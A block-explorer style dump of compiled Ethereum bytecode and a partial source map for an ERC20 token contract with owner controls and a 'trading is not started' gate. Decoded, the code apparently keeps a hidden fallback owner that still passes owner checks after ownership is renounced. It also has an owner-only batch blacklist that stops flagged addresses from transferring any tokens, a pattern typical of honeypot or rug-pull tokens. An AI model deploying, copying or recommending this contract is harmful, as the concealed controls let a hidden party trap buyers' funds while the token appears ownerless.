df590611f3b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610edc9190611895565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5090611fcd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc09061205f565b60405180910390fd5b610fd4838383611488565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561105b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611052906120f1565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110f09190611c11565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111549190611895565b60405180910390a36111678484846115b7565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d490612183565b60405180910390fd5b6111e982600083611488565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611270576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126790612215565b60405180910390fd5b818103600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546112c89190611c67565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161132d9190611895565b60405180910390a3611341836000846115b7565b505050565b61134e610d16565b73ffffffffffffffffffffffffffffffffffffffff1661136c6115bc565b73ffffffffffffffffffffffffffffffffffffffff16146113c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b990612281565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61149183611660565b6114a357600081146114a257600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156115b157611502610887565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061156d575061153e610887565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6115ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a3906122ed565b60405180910390fd5b6115b2565b5b505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116375760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661165b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116f15780820151818401526020810190506116d6565b83811115611700576000848401525b50505050565b6000601f19601f8301169050919050565b6000611722826116b7565b61172c81856116c2565b935061173c8185602086016116d3565b61174581611706565b840191505092915050565b6000602082019050818103600083015261176a8184611717565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117a78261177c565b9050919050565b6117b78161179c565b81146117c257600080fd5b50565b6000813590506117d4816117ae565b92915050565b6000819050919050565b6117ed816117da565b81146117f857600080fd5b50565b60008135905061180a816117e4565b92915050565b6000806040838503121561182757611826611772565b5b6000611835858286016117c5565b9250506020611846858286016117fb565b9150509250929050565b60008115159050919050565b61186581611850565b82525050565b6000602082019050611880600083018461185c565b92915050565b61188f816117da565b82525050565b60006020820190506118aa6000830184611886565b92915050565b6000806000606084860312156118c9576118c8611772565b5b60006118d7868287016117c5565b93505060206118e8868287016117c5565b92505060406118f9868287016117fb565b9150509250925092565b600060ff82169050919050565b61191981611903565b82525050565b60006020820190506119346000830184611910565b92915050565b6000602082840312156119505761194f611772565b5b600061195e848285016117fb565b91505092915050565b6119708161179c565b82525050565b600060208201905061198b6000830184611967565b92915050565b6000602082840312156119a7576119a6611772565b5b60006119b5848285016117c5565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119e3576119e26119be565b5b8235905067ffffffffffffffff811115611a00576119ff6119c3565b5b602083019150836020820283011115611a1c57611a1b6119c8565b5b9250929050565b611a2c81611850565b8114611a3757600080fd5b50565b600081359050611a4981611a23565b92915050565b600080600060408486031215611a6857611a67611772565b5b600084013567ffffffffffffffff811115611a8657611a85611777565b5b611a92868287016119cd565b93509350506020611aa586828701611a3a565b9150509250925092565b60008060408385031215611ac657611ac5611772565b5b6000611ad4858286016117c5565b9250506020611ae5858286016117c5565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611b3657607f821691505b60208210811415611b4a57611b49611aef565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611bac6028836116c2565b9150611bb782611b50565b604082019050919050565b60006020820190508181036000830152611bdb81611b9f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c1c826117da565b9150611c27836117da565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c5c57611c5b611be2565b5b828201905092915050565b6000611c72826117da565b9150611c7d836117da565b925082821015611c9057611c8f611be2565b5b828203905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611cf76025836116c2565b9150611d0282611c9b565b604082019050919050565b60006020820190508181036000830152611d2681611cea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611d67826117da565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611d9a57611d99611be2565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e016026836116c2565b9150611e0c82611da5565b604082019050919050565b60006020820190508181036000830152611e3081611df4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e936024836116c2565b9150611e9e82611e37565b604082019050919050565b60006020820190508181036000830152611ec281611e86565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f256022836116c2565b9150611f3082611ec9565b604082019050919050565b60006020820190508181036000830152611f5481611f18565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611fb76025836116c2565b9150611fc282611f5b565b604082019050919050565b60006020820190508181036000830152611fe681611faa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006120496023836116c2565b915061205482611fed565b604082019050919050565b600060208201905081810360008301526120788161203c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006120db6026836116c2565b91506120e68261207f565b604082019050919050565b6000602082019050818103600083015261210a816120ce565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061216d6021836116c2565b915061217882612111565b604082019050919050565b6000602082019050818103600083015261219c81612160565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006121ff6022836116c2565b915061220a826121a3565b604082019050919050565b6000602082019050818103600083015261222e816121f2565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061226b6020836116c2565b915061227682612235565b602082019050919050565b6000602082019050818103600083015261229a8161225e565b9050919050565b7f74726164696e67206973206e6f74207374617274656400000000000000000000600082015250565b60006122d76016836116c2565b91506122e2826122a1565b602082019050919050565b60006020820190508181036000830152612306816122ca565b905091905056fea264697066735822122030ec3a912396b8053db9fe6e7c3462899eb64c0c7ea2909d3cb7c0644cc280fe64736f6c63430008090033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806378a4c692116100c3578063c1e2f9411161007c578063c1e2f941146103ca578063c34b2e07146103e6578063dae39f9214610402578063db5d779314610432578063dd62ed3e1461044e578063f2fde38b1461047e5761014d565b806378a4c692146102ce57806380596e17146102fe5780638da5cb5b1461032e57806395d89b411461034c578063a457c2d71461036a578063a9059cbb1461039a5761014d565b8063313ce56711610115578063313ce5671461020c578063395093511461022a57806342966c681461025a57806349bd5a5e1461027657806370a0823114610294578063715018a6146102c45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be5780632b112e49146101ee575b600080fd5b61015a61049a565b6040516101679190611750565b60405180910390f35b61018a60048036038101906101859190611810565b61052c565b604051610197919061186b565b60405180910390f35b6101a861054a565b6040516101b59190611895565b60405180910390f35b6101d860048036038101906101d391906118b0565b610554565b6040516101e5919061186b565b60405180910390f35b6101f661064c565b6040516102039190611895565b60405180910390f35b6102146106c5565b604051610221919061191f565b60405180910390f35b610244600480360381019061023f9190611810565b6106ce565b604051610251919061186b565b60405180910390f35b610274600480360381019061026f919061193a565b61077a565b005b61027e61078e565b60405161028b9190611976565b60405180910390f35b6102ae60048036038101906102a99190611991565b6107b4565b6040516102bb9190611895565b60405180910390f35b6102cc6107fd565b005b6102e860048036038101906102e39190611991565b610811565b6040516102f5919061186b565b60405180910390f35b61031860048036038101906103139190611991565b610867565b604051610325919061186b565b60405180910390f35b610336610887565b6040516103439190611976565b60405180910390f35b6103546108b0565b6040516103619190611750565b60405180910390f35b610384600480360381019061037f9190611810565b610942565b604051610391919061186b565b60405180910390f35b6103b460048036038101906103af9190611810565b610a2d565b6040516103c1919061186b565b60405180910390f35b6103e460048036038101906103df9190611a4f565b610a4b565b005b61040060048036038101906103fb9190611991565b610af8565b005b61041c60048036038101906104179190611991565b610b9f565b604051610429919061186b565b60405180910390f35b61044c60048036038101906104479190611991565b610bbf565b005b61046860048036038101906104639190611aaf565b610c0b565b6040516104759190611895565b60405180910390f35b61049860048036038101906104939190611991565b610c92565b005b6060600580546104a990611b1e565b80601f01602080910402602001604051908101604052809291908181526020018280546104d590611b1e565b80156105225780601f106104f757610100808354040283529160200191610522565b820191906000526020600020905b81548152906001019060200180831161050557829003601f168201915b5050505050905090565b6000610540610539610d16565b8484610d1e565b6001905092915050565b6000600454905090565b6000610561848484610ee9565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ac610d16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561062c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062390611bc2565b60405180910390fd5b61064085610638610d16565b858403610d1e565b60019150509392505050565b6000610679600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107b4565b6106a4600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107b4565b6106ae9190611c11565b6106b661054a565b6106c09190611c67565b905090565b60006009905090565b60006107706106db610d16565b8484600360006106e9610d16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461076b9190611c11565b610d1e565b6001905092915050565b61078b610785610d16565b8261116d565b50565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610805611346565b61080f60006113c4565b565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60076020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546108bf90611b1e565b80601f01602080910402602001604051908101604052809291908181526020018280546108eb90611b1e565b80156109385780601f1061090d57610100808354040283529160200191610938565b820191906000526020600020905b81548152906001019060200180831161091b57829003601f168201915b5050505050905090565b60008060036000610951610d16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0590611d0d565b60405180910390fd5b610a22610a19610d16565b85858403610d1e565b600191505092915050565b6000610a41610a3a610d16565b8484610ee9565b6001905092915050565b610a53611346565b60005b83839050811015610af2578160076000868685818110610a7957610a78611d2d565b5b9050602002016020810190610a8e9190611991565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aea90611d5c565b915050610a56565b50505050565b610b00611346565b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b5b57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60096020528060005260406000206000915054906101000a900460ff1681565b610bc7611346565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c9a611346565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190611e17565b60405180910390fd5b610d13816113c4565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8590611ea9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df590611f3b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610edc9190611895565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5090611fcd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc09061205f565b60405180910390fd5b610fd4838383611488565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561105b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611052906120f1565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110f09190611c11565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111549190611895565b60405180910390a36111678484846115b7565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d490612183565b60405180910390fd5b6111e982600083611488565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611270576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126790612215565b60405180910390fd5b818103600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546112c89190611c67565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161132d9190611895565b60405180910390a3611341836000846115b7565b505050565b61134e610d16565b73ffffffffffffffffffffffffffffffffffffffff1661136c6115bc565b73ffffffffffffffffffffffffffffffffffffffff16146113c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b990612281565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61149183611660565b6114a357600081146114a257600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156115b157611502610887565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061156d575061153e610887565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6115ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a3906122ed565b60405180910390fd5b6115b2565b5b505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116375760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661165b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116f15780820151818401526020810190506116d6565b83811115611700576000848401525b50505050565b6000601f19601f8301169050919050565b6000611722826116b7565b61172c81856116c2565b935061173c8185602086016116d3565b61174581611706565b840191505092915050565b6000602082019050818103600083015261176a8184611717565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117a78261177c565b9050919050565b6117b78161179c565b81146117c257600080fd5b50565b6000813590506117d4816117ae565b92915050565b6000819050919050565b6117ed816117da565b81146117f857600080fd5b50565b60008135905061180a816117e4565b92915050565b6000806040838503121561182757611826611772565b5b6000611835858286016117c5565b9250506020611846858286016117fb565b9150509250929050565b60008115159050919050565b61186581611850565b82525050565b6000602082019050611880600083018461185c565b92915050565b61188f816117da565b82525050565b60006020820190506118aa6000830184611886565b92915050565b6000806000606084860312156118c9576118c8611772565b5b60006118d7868287016117c5565b93505060206118e8868287016117c5565b92505060406118f9868287016117fb565b9150509250925092565b600060ff82169050919050565b61191981611903565b82525050565b60006020820190506119346000830184611910565b92915050565b6000602082840312156119505761194f611772565b5b600061195e848285016117fb565b91505092915050565b6119708161179c565b82525050565b600060208201905061198b6000830184611967565b92915050565b6000602082840312156119a7576119a6611772565b5b60006119b5848285016117c5565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119e3576119e26119be565b5b8235905067ffffffffffffffff811115611a00576119ff6119c3565b5b602083019150836020820283011115611a1c57611a1b6119c8565b5b9250929050565b611a2c81611850565b8114611a3757600080fd5b50565b600081359050611a4981611a23565b92915050565b600080600060408486031215611a6857611a67611772565b5b600084013567ffffffffffffffff811115611a8657611a85611777565b5b611a92868287016119cd565b93509350506020611aa586828701611a3a565b9150509250925092565b60008060408385031215611ac657611ac5611772565b5b6000611ad4858286016117c5565b9250506020611ae5858286016117c5565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611b3657607f821691505b60208210811415611b4a57611b49611aef565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611bac6028836116c2565b9150611bb782611b50565b604082019050919050565b60006020820190508181036000830152611bdb81611b9f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c1c826117da565b9150611c27836117da565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c5c57611c5b611be2565b5b828201905092915050565b6000611c72826117da565b9150611c7d836117da565b925082821015611c9057611c8f611be2565b5b828203905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611cf76025836116c2565b9150611d0282611c9b565b604082019050919050565b60006020820190508181036000830152611d2681611cea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611d67826117da565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611d9a57611d99611be2565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e016026836116c2565b9150611e0c82611da5565b604082019050919050565b60006020820190508181036000830152611e3081611df4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e936024836116c2565b9150611e9e82611e37565b604082019050919050565b60006020820190508181036000830152611ec281611e86565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f256022836116c2565b9150611f3082611ec9565b604082019050919050565b60006020820190508181036000830152611f5481611f18565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611fb76025836116c2565b9150611fc282611f5b565b604082019050919050565b60006020820190508181036000830152611fe681611faa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006120496023836116c2565b915061205482611fed565b604082019050919050565b600060208201905081810360008301526120788161203c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006120db6026836116c2565b91506120e68261207f565b604082019050919050565b6000602082019050818103600083015261210a816120ce565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061216d6021836116c2565b915061217882612111565b604082019050919050565b6000602082019050818103600083015261219c81612160565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006121ff6022836116c2565b915061220a826121a3565b604082019050919050565b6000602082019050818103600083015261222e816121f2565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061226b6020836116c2565b915061227682612235565b602082019050919050565b6000602082019050818103600083015261229a8161225e565b9050919050565b7f74726164696e67206973206e6f74207374617274656400000000000000000000600082015250565b60006122d76016836116c2565b91506122e2826122a1565b602082019050919050565b60006020820190508181036000830152612306816122ca565b905091905056fea264697066735822122030ec3a912396b8053db9fe6e7c3462899eb64c0c7ea2909d3cb7c0644cc280fe64736f6c63430008090033
Deployed Bytecode Sourcemap
18117:1251:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3817:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5983:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4936:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6634:492;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19226:139;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4779:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7535:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14910:91;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18174:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5107:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16925:103;;;:::i;:::-;;12633:126;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3262:50;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16277:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4036:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8253:413;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5447:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19010:208;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17926:148;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18209:49;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18535:109;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5685:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17183:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3817:100;3871:13;3904:5;3897:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3817:100;:::o;5983:169::-;6066:4;6083:39;6092:12;:10;:12::i;:::-;6106:7;6115:6;6083:8;:39::i;:::-;6140:4;6133:11;;5983:169;;;;:::o;4936:108::-;4997:7;5024:12;;5017:19;;4936:108;:::o;6634:492::-;6774:4;6791:36;6801:6;6809:9;6820:6;6791:9;:36::i;:::-;6840:24;6867:11;:19;6879:6;6867:19;;;;;;;;;;;;;;;:33;6887:12;:10;:12::i;:::-;6867:33;;;;;;;;;;;;;;;;6840:60;;6939:6;6919:16;:26;;6911:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7026:57;7035:6;7043:12;:10;:12::i;:::-;7076:6;7057:16;:25;7026:8;:57::i;:::-;7114:4;7107:11;;;6634:492;;;;;:::o;19226:139::-;19279:7;19341:15;19351:4;;;;;;;;;;;19341:9;:15::i;:::-;19323;19333:4;;;;;;;;;;;19323:9;:15::i;:::-;:33;;;;:::i;:::-;19306:13;:11;:13::i;:::-;:51;;;;:::i;:::-;19299:58;;19226:139;:::o;4779:92::-;4837:5;4862:1;4855:8;;4779:92;:::o;7535:215::-;7623:4;7640:80;7649:12;:10;:12::i;:::-;7663:7;7709:10;7672:11;:25;7684:12;:10;:12::i;:::-;7672:25;;;;;;;;;;;;;;;:34;7698:7;7672:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;7640:8;:80::i;:::-;7738:4;7731:11;;7535:215;;;;:::o;14910:91::-;14966:27;14972:12;:10;:12::i;:::-;14986:6;14966:5;:27::i;:::-;14910:91;:::o;18174:28::-;;;;